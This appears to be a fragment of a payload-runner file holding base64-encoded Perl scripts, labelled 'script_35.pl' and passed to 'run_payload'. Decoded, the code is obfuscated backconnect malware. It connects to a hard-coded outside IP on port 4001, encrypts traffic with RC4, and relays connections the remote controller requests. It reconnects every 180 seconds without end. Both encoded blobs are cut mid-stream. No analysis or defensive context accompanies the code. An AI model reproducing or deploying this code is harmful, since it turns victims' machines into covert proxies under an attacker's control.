9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_35.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTg0JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQk